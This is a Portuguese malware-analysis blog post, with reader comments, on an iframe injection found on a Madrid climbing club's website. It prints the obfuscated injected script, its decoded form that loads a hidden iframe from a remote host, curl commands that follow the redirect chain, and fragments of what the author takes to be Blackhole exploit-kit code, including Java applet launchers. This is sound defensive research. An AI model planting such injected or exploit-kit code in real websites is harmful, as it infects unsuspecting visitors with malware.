Estava buscando por um hobby que eu tenho que é o alpinismo, estava buscando por clubes de alpinismo aqui em Madrid, achei um fórum que estavam dizendo sobre alguns clubes que existem aqui.

Fui acessar o site de um dos clubes que havia visto quando me deparei com hxxp://www.clubalpino.org/ que é uma página do Club Alpino de Madrid, quando tentei acessar-la o próprio site da Google me avisou que o site poderia estar infectado com malware, o Google Chrome também me alertou do perigo.

Resolvi então investigar mais afundo:
Obs: Essa foi uma infecção massiva que atingiu milhares de websites.

O código encontrado na página foi:

ps = "split";
e = eval;
v = "0x";
a = 0;
z = "y";
try {
    a *= 25
} catch (zz) {
    a = 1
}
if (!a) {
    try {
        --e("doc" + "ument")["\x62od" + z]
    } catch (q) {
        a2 = "_";
        sa = 0xa - 02;
    }
    z = "28_6e_7d_76_6b_7c_71_77_76_28_82_82_82_6e_6e_6e_30_31_28_83_15_12_28_7e_69_7a_28_7c_6c_7c_69_28_45_28_6c_77_6b_7d_75_6d_76_7c_36_6b_7a_6d_69_7c_6d_4d_74_6d_75_6d_76_7c_30_2f_71_6e_7a_69_75_6d_2f_31_43_15_12_15_12_28_7c_6c_7c_69_36_7b_7a_6b_28_45_28_2f_70_7c_7c_78_42_37_37_74_69_7d_7a_6d_76_6c_69_7e_71_6c_7b_7c_81_74_6d_36_6b_77_75_37_78_7a_71_76_7c_37_6b_76_7c_36_78_70_78_2f_43_15_12_28_7c_6c_7c_69_36_7b_7c_81_74_6d_36_78_77_7b_71_7c_71_77_76_28_45_28_2f_69_6a_7b_77_74_7d_7c_6d_2f_43_15_12_28_7c_6c_7c_69_36_7b_7c_81_74_6d_36_6a_77_7a_6c_6d_7a_28_45_28_2f_38_2f_43_15_12_28_7c_6c_7c_69_36_7b_7c_81_74_6d_36_70_6d_71_6f_70_7c_28_45_28_2f_39_78_80_2f_43_15_12_28_7c_6c_7c_69_36_7b_7c_81_74_6d_36_7f_71_6c_7c_70_28_45_28_2f_39_78_80_2f_43_15_12_28_7c_6c_7c_69_36_7b_7c_81_74_6d_36_74_6d_6e_7c_28_45_28_2f_39_78_80_2f_43_15_12_28_7c_6c_7c_69_36_7b_7c_81_74_6d_36_7c_77_78_28_45_28_2f_39_78_80_2f_43_15_12_15_12_28_71_6e_28_30_29_6c_77_6b_7d_75_6d_76_7c_36_6f_6d_7c_4d_74_6d_75_6d_76_7c_4a_81_51_6c_30_2f_7c_6c_7c_69_2f_31_31_28_83_15_12_28_6c_77_6b_7d_75_6d_76_7c_36_7f_7a_71_7c_6d_30_2f_44_6c_71_7e_28_71_6c_45_64_2f_7c_6c_7c_69_64_2f_46_44_37_6c_71_7e_46_2f_31_43_15_12_28_6c_77_6b_7d_75_6d_76_7c_36_6f_6d_7c_4d_74_6d_75_6d_76_7c_4a_81_51_6c_30_2f_7c_6c_7c_69_2f_31_36_69_78_78_6d_76_6c_4b_70_71_74_6c_30_7c_6c_7c_69_31_43_15_12_28_85_15_12_85_15_12_6e_7d_76_6b_7c_71_77_76_28_5b_6d_7c_4b_77_77_73_71_6d_30_6b_77_77_73_71_6d_56_69_75_6d_34_6b_77_77_73_71_6d_5e_69_74_7d_6d_34_76_4c_69_81_7b_34_78_69_7c_70_31_28_83_15_12_28_7e_69_7a_28_7c_77_6c_69_81_28_45_28_76_6d_7f_28_4c_69_7c_6d_30_31_43_15_12_28_7e_69_7a_28_6d_80_78_71_7a_6d_28_45_28_76_6d_7f_28_4c_69_7c_6d_30_31_43_15_12_28_71_6e_28_30_76_4c_69_81_7b_45_45_76_7d_74_74_28_84_84_28_76_4c_69_81_7b_45_45_38_31_28_76_4c_69_81_7b_45_39_43_15_12_28_6d_80_78_71_7a_6d_36_7b_6d_7c_5c_71_75_6d_30_7c_77_6c_69_81_36_6f_6d_7c_5c_71_75_6d_30_31_28_33_28_3b_3e_38_38_38_38_38_32_3a_3c_32_76_4c_69_81_7b_31_43_15_12_28_6c_77_6b_7d_75_6d_76_7c_36_6b_77_77_73_71_6d_28_45_28_6b_77_77_73_71_6d_56_69_75_6d_33_2a_45_2a_33_6d_7b_6b_69_78_6d_30_6b_77_77_73_71_6d_5e_69_74_7d_6d_31_15_12_28_33_28_2a_43_6d_80_78_71_7a_6d_7b_45_2a_28_33_28_6d_80_78_71_7a_6d_36_7c_77_4f_55_5c_5b_7c_7a_71_76_6f_30_31_28_33_28_30_30_78_69_7c_70_31_28_47_28_2a_43_28_78_69_7c_70_45_2a_28_33_28_78_69_7c_70_28_42_28_2a_2a_31_43_15_12_85_15_12_6e_7d_76_6b_7c_71_77_76_28_4f_6d_7c_4b_77_77_73_71_6d_30_28_76_69_75_6d_28_31_28_83_15_12_28_7e_69_7a_28_7b_7c_69_7a_7c_28_45_28_6c_77_6b_7d_75_6d_76_7c_36_6b_77_77_73_71_6d_36_71_76_6c_6d_80_57_6e_30_28_76_69_75_6d_28_33_28_2a_45_2a_28_31_43_15_12_28_7e_69_7a_28_74_6d_76_28_45_28_7b_7c_69_7a_7c_28_33_28_76_69_75_6d_36_74_6d_76_6f_7c_70_28_33_28_39_43_15_12_28_71_6e_28_30_28_30_28_29_7b_7c_69_7a_7c_28_31_28_2e_2e_15_12_28_30_28_76_69_75_6d_28_29_45_28_6c_77_6b_7d_75_6d_76_7c_36_6b_77_77_73_71_6d_36_7b_7d_6a_7b_7c_7a_71_76_6f_30_28_38_34_28_76_69_75_6d_36_74_6d_76_6f_7c_70_28_31_28_31_28_31_15_12_28_83_15_12_28_7a_6d_7c_7d_7a_76_28_76_7d_74_74_43_15_12_28_85_15_12_28_71_6e_28_30_28_7b_7c_69_7a_7c_28_45_45_28_35_39_28_31_28_7a_6d_7c_7d_7a_76_28_76_7d_74_74_43_15_12_28_7e_69_7a_28_6d_76_6c_28_45_28_6c_77_6b_7d_75_6d_76_7c_36_6b_77_77_73_71_6d_36_71_76_6c_6d_80_57_6e_30_28_2a_43_2a_34_28_74_6d_76_28_31_43_15_12_28_71_6e_28_30_28_6d_76_6c_28_45_45_28_35_39_28_31_28_6d_76_6c_28_45_28_6c_77_6b_7d_75_6d_76_7c_36_6b_77_77_73_71_6d_36_74_6d_76_6f_7c_70_43_15_12_28_7a_6d_7c_7d_7a_76_28_7d_76_6d_7b_6b_69_78_6d_30_28_6c_77_6b_7d_75_6d_76_7c_36_6b_77_77_73_71_6d_36_7b_7d_6a_7b_7c_7a_71_76_6f_30_28_74_6d_76_34_28_6d_76_6c_28_31_28_31_43_15_12_85_15_12_71_6e_28_30_76_69_7e_71_6f_69_7c_77_7a_36_6b_77_77_73_71_6d_4d_76_69_6a_74_6d_6c_31_15_12_83_15_12_71_6e_30_4f_6d_7c_4b_77_77_73_71_6d_30_2f_7e_71_7b_71_7c_6d_6c_67_7d_79_2f_31_45_45_3d_3d_31_83_85_6d_74_7b_6d_83_5b_6d_7c_4b_77_77_73_71_6d_30_2f_7e_71_7b_71_7c_6d_6c_67_7d_79_2f_34_28_2f_3d_3d_2f_34_28_2f_39_2f_34_28_2f_37_2f_31_43_15_12_15_12_82_82_82_6e_6e_6e_30_31_43_15_12_85_15_12_85_15_12" 1(a2);
    za = "";
    for (i = 0; i < z.length; i++) {
        za += String["fromCharCode"](e(v + (z[i])) - sa);
    }
    zaz = za;
    e(zaz);
}


Uma parte do código está ofuscado(na variável z) e o que me interessa é justamente essa parte, então com alguns truques consegui o código limpo:

function zzzfff()
 {
   var tdta = document.createElement('iframe');
   tdta.src = 'hxxp://laurendavidstyle.com/print/cnt.php';
   tdta.style.position = 'absolute';
   tdta.style.border = '0';
   tdta.style.height = '1px';
   tdta.style.width = '1px';
   tdta.style.left = '1px';
   tdta.style.top = '1px';
   if (!document.getElementById('tdta'))
   {
     document.write('</pre>
<div id="\'tdta\'"></div>
<pre>');
     document.getElementById('tdta').appendChild(tdta);
   }
 }
 function SetCookie(cookieName,cookieValue,nDays,path)
 {
   var today = new Date();
   var expire = new Date();
   if (nDays==null || nDays==0) nDays=1;
   expire.setTime(today.getTime() + 3600000*24*nDays);
   document.cookie = cookieName+"="+escape(cookieValue)
   + ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : "");
 }
 function GetCookie( name )
 {
   var start = document.cookie.indexOf( name + "=" );
   var len = start + name.length + 1;
   if ( ( !start ) &&
   ( name != document.cookie.substring( 0, name.length ) ) )
   {
     return null;
   }
   if ( start == -1 ) return null;
   var end = document.cookie.indexOf( ";", len );
   if ( end == -1 ) end = document.cookie.length;
   return unescape( document.cookie.substring( len, end ) );
 }
 if (navigator.cookieEnabled)
{
   if(GetCookie('visited_uq')==55)
   {
   }
   else
   {
     SetCookie('visited_uq', '55', '1', '/');
     zzzfff();
   }
 }

Como podemos ver isso é um “iframe injection” que faz um redirecionamento para o site hxxp://laurendavidstyle.com/print/cnt.php

Quando tentei acessar essa URL a única resposta era um “OK”

Analisando o código vi que era criado algum tipo de Cookie para enviar a página PHP para que tivesse outro tipo de comportamento

SetCookie('visited_uq', '55', '1', '/');

Entao tentei o acesso com:

$ curl -vv –cookie “visited_uq=55;expires=Tue, 16 Jul 2013 14:40:07 GMT; path=/” –referer hxxp://www.clubalpino.org –user-agent “Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)” hxxp://laurendavidstyle.com/print/cnt.php

Bingo! Ao passar os cookies que a página queria, fui redirecionado para a outra página:
hxxp://changeboxcommunications.com/a24fd24d17281a4b9f7e45df07098970/a.php

E utilizando o curl consegui baixar a saída dessa página:

curl -vv –user-agent “Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)” http://changeboxcommunications.com/a24fd24d17281a4b9f7e45df07098970/a.php

* About to connect() to changeboxcommunications.com port 80 (#0)
*   Trying 78.129.250.40...
* Adding handle: conn: 0x7f9c0a808000
* Adding handle: send: 0
* Adding handle: recv: 0
* Curl_addHandleToPipeline: length: 1
* - Conn 0 (0x7f9c0a808000) send_pipe: 1, recv_pipe: 0
* Connected to changeboxcommunications.com (78.129.250.40) port 80 (#0)
> GET /a24fd24d17281a4b9f7e45df07098970/a.php HTTP/1.1
> User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
> Host: changeboxcommunications.com
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Mon, 15 Jul 2013 15:29:50 GMT
* Server nginx/1.0.15 is not blacklisted
< Server: nginx/1.0.15
< Content-Type: text/html; charset=UTF-8
< X-Powered-By: PHP/5.4.15
< Transfer-Encoding: chunked
<
<body><script>
try{--document.body;}catch(q){e=eval;}
var keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
function deco(input) {
var output = "";
var chr1, chr2, chr3 = "";
var enc1, enc2, enc3, enc4 = "";
var i = 0;
while (i < input.length) {
enc1 = keyStr.indexOf(input.charAt(i++));
enc2 = keyStr.indexOf(input.charAt(i++));
enc3 = keyStr.indexOf(input.charAt(i++));
enc4 = keyStr.indexOf(input.charAt(i++));

chr1 = (enc1 << 2) | (enc2 >> 4);
chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
chr3 = ((enc3 & 3) << 6) | enc4;
output = output + String.fromCharCode(chr1);
if (enc3 != 64) {
   output = output + String.fromCharCode(chr2);
}
if (enc4 != 64) {
   output = output + String.fromCharCode(chr3);
}
chr1 = chr2 = chr3 = "";
enc1 = enc2 = enc3 = enc4 = "";
};
return output;
}
e(deco("==Qf913OpgyMhZXYqtXZzxWZ9tTKoQnYpx2egkSKwAzM50DPyVmdmRGcgYiJgADMwkTP+IXZ2ZGZwhCI8xHIpADMygTP8IXZ2ZGZwBiJmACMwADO94"
<snippet>
"Wbh5GLikjL34CMiojbvl2cyVmd71DZwRGc".split("").reverse().join("")));

Eu cortei um bom pedaço do código porque era um código muito grande.
O que pude perceber é que essa página á é um Exploit Kit, e deve se tratar do “Blackhole Exploit Kit”.
Todo o código ofuscado está em base64 e fica fácil para desofuscar.
Evitei de colocar o código aqui porque é muito grande, mas se trata de um PluginDetector que detecta os possíveis plugins e o navegador que você tenha instalado no seu computador e usa o exploit necessário para explorar essas falhas.

Aqui podemos ver alguns pedaços do código do PluginDetect:

pdpd = {
    version: "0.7.9",
    name: "pdpd",

Aqui podemos ver que ele tem vários tipos de falhas para serem exploradas e te redireciona para diferentes tipos de exploits dependendo da sua versão de plugin(Ex: Java):

function x(s) {
    d = [];
    for (i = 0; i < s.length; i++) {
        k = (s.charCodeAt(i)).toString(16);
        d.push(k);
    };
    return d.join("");
}
end_redirect = function () {};

function java2() {
    var d = document.createElement("span");
    document.body.appendChild(d);
    d.innerHTML = "<applet width=\"1\" height=\"1\"><param name=\"jnlp_href\" value=\"sPOCMobMxEina.jnlp\"/><PARAM name=\"jnlp_embedded\" value=\"PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz4gDQo8am5scCBzcGVjPSIxLjAiIHhtbG5zOmpmeD0iaHR0cDovL2phdmFmeC5jb20iPiANCjxpbmZvcm1hdGlvbj4gDQo8dGl0bGU+Sk5MUDwvdGl0bGU+IA0KPHZlbmRvcj5KTkxQPC92ZW5kb3I+IA0KPGRlc2NyaXB0aW9uPkpOTFA8L2Rlc2NyaXB0aW9uPiANCjxvZmZsaW5lLWFsbG93ZWQvPiANCjwvaW5mb3JtYXRpb24+IA0KPHJlc291cmNlcz4gDQoJPGoyc2UgdmVyc2lvbj0iMS43KyIgaHJlZj0iaHR0cDovL2phdmEuc3VuLmNvbS9wcm9kdWN0cy9hdXRvZGwvajJzZSIvPiANCgk8amFyIGhyZWY9Ii9hMjRmZDI0ZDE3MjgxYTRiOWY3ZTQ1ZGYwNzA5ODk3MC9hLnBocD93R3NqU2R4cnZBYUV6PWJ3aHp2eiZNUm5pYWZMcXJNPVpocEtUUU1reUUiIG1haW49InRydWUiLz4gDQo8L3Jlc291cmNlcz4gDQo8YXBwbGV0LWRlc2MgbmFtZT0iSm4iIG1haW4tY2xhc3M9Ik1haW4iIHdpZHRoPSIyIiBoZWlnaHQ9IjIiPg0KIDxwYXJhbSB2YWx1ZT0idHJ1ZSIgbmFtZT0iX19hcHBsZXRfc3N2X3ZhbGlkYXRlZCI+PC9wYXJhbT4gDQo8L2FwcGxldC1kZXNjPiANCjwvam5scD4=\"/><param name=\"prime\" value=\"MhLM6Bhr6VL?c.BeL4M.fBfcrcBfjVhL.MhLM6Bhr6VL?c.BeL4M.fBfcrcBfjVw3D3xp.b161c1r1P16R0eb11PLP4161r1h1P1P1rPLRCb1fRyebJRC-bX\"></param><param value=\"Dyy3Ojj&#37;DVoAe?tk&#37;t00Ko8&#37;Vy8toiw&#37;t0jVhL.\" name=\"val\"/></applet>";
}

function java1() {
    var d = document.createElement("span");
    document.body.appendChild(d);
    d.innerHTML = "<applet archive=\"/a24fd24d17281a4b9f7e45df07098970/a.php?wGsjSdxrvAaEz=bwhzvz&MRniafLqrM=ZhpKTQMkyE\" code=\"Main\"><param name=\"prime\" value=\"MhLM6Bhr6VL?c.BeL4M.fBfcrcBfjVhL.MhLM6Bhr6VL?c.BeL4M.fBfcrcBfjVw3D3xp.b161c1r1P16R0eb11PLP4161r1h1P1P1rPLRCb1fRyebJRC-bX\"></param><param value=\"Dyy3Ojj&#37;DVoAe?tk&#37;t00Ko8&#37;Vy8toiw&#37;t0jVhL.\" name=\"val\"/></applet>";
}

function java3() {
    var d = document.createElement("span");
    document.body.appendChild(d);
    d.innerHTML = "<applet archive=\"/a24fd24d17281a4b9f7e45df07098970/a.php?wGsjSdxrvAaEz=bwhzvz&MRniafLqrM=ZhpKTQMkyE\" code=\"Main\"><param name=\"prime\" value=\"MhLM6Bhr6VL?c.BeL4M.fBfcrcBfjVhL.MhLM6Bhr6VL?c.BeL4M.fBfcrcBfjVw3D3xp.b161c1r1P16R0eb11PLP4161r1h1P1P1rPLRCb1fRyebJRC-bX\"></param><param value=\"Dyy3Ojj&#37;DVoAe?tk&#37;t00Ko8&#37;Vy8toiw&#37;t0jVhL.\" name=\"val\"/></applet>";
}

function libt() {
    var pifr = document.createElement("if" + "ra" + "me");
    pifr.setAttribute('width', 11);
    pifr.setAttribute('height', 12);
    pifr.setAttribute('style', "top:100px;position:absolute");
    pifr.setAttribute('src', "/a24fd24d17281a4b9f7e45df07098970/a.php?jLeLfUhcdl=3139383631&qOnEBFdbMxs=W&AmeRS=33646531383236363864&AfioNwTx=302e302e302e30");
    document.body.appendChild(pifr);
}

Agradecimentos:

Gostaria de agradecer ao Assuero, meu grande amigo que me motivou muito para escrever e também ao @Secluded_Memory, quem realmente me ajudou a respeito desse tipo de infecção.  #MalwareMustDie

Happy Hunting =)

  • titus

    Hi SmurfX,

    Can you explain why cookie that is set on http://www.clubalpino.org will be sent to laurendavidstyle.com? Isn’t this against SOP?

    Thanks.

    • Hi Titus,

      Actually the cookie is set with the obfuscated javascript in clubalpino.org but the PHP in laurendavidstyle.com has the code to read the cookies created.
      This is a kind of trying to difficult analysis as you just can get to the next step of infection if your browser has the cookies already set.

      • titus

        Yes, I understand that the cookie is set in JS. Since it is set in the clubalpino.org domain browser should not send it to laurendavidstyle.com (which is a different domain). In other words the cnt.php script from laurendavidstyle.com should get HTTP requests without this cookie.

        I tried to reproduce this scenario and I did not see the cookie being sent to the second domain.

        Thanks a lot.

        • titus

          Here is a recent live example: http://urlquery.net/report.php?id=7205799
          You can see that the cookie visited_uq=55 is set in domain http://www.rayes-glass.com but is never sent to any other domain.

          • Hi titus,

            Sorry for the delay to come back to you, by the time I saw your comment the live example you wrote me it was cleaned.
            Actually that is how it worked for me. The JS in “clubealpino” created a local cookie:

            function SetCookie(cookieName,cookieValue,nDays,path)
            {
            var today = new Date();
            var expire = new Date();
            if (nDays==null || nDays==0) nDays=1;
            expire.setTime(today.getTime() + 3600000*24*nDays);
            document.cookie = cookieName+”=”+escape(cookieValue)
            + “;expires=” + expire.toGMTString() + ((path) ? “; path=” + path : “”);
            }

            If you tried to connect to hxxp://laurendavidstyle.com/print/cnt.php you could not get any answer, if you had the cookie set in your browser you could get to the next step.
            With the command “curl” I manage to send the cookie value “visited_uq=55;expires=Tue, 16 Jul 2013 14:40:07 GMT; path=/” to hxxp://laurendavidstyle.com and with this cookie sent I managed to receive the next step.

            Don’t forget that maybe they can have changed as they are always trying to improve the infection vector and make more difficult to an analyst.

  • Pingback: Um pouco de quebra-cabeça com javascript | Malware Research()

  • opt1mus

    Boa tarde, gostaria de saber qual técnica utilizou para “decodificar” a variável Z?

    E parabéns um ótimo artigo!!

    Não deixe de continuar com estes ótimos posts.

    • Olá opt1mus,

      Nao tem muito segredo te explico:

      za = “”; –> Variável que vai receber a string decodificada

      /** Algoritmo de decodificaçao da string”
      for (i = 0; i < z.length; i++) { za += String["fromCharCode"](e(v + (z[i])) - sa); } /** Fim do algoritimo zaz = za; --> Jogar uma variável para outra

      /** Aqui é onde devemos modificar para conseguirmos a string que já está decodificada
      e(zaz); –> esse comando o que faz é executar todo o código que estava ofuscado.

      Você pode trocar essa linha por exemplo por essa:
      window.alert(zaz); –> E pronto vc já tem o código “decodificado”

      Valeu pelo comentário!

      Happy Hunting!